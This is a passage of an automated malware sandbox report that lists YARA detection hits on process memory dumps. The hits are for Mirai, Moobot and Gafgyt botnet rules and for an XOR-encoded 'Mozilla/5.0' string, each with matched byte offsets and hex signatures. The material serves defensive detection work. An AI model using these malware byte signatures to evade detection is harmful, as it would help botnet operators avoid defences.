44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6860.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7250.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7250.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7250.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7250.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7250.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7250.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6542.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6542.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6542.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6542.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6542.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6542.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6450.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6424.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6424.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6424.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6424.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6424.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6424.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7365.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6558.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7159.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7159.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7159.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7159.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7159.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7159.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6839.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7344.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6864.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6583.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6768.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6768.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6768.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6768.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6768.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6768.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
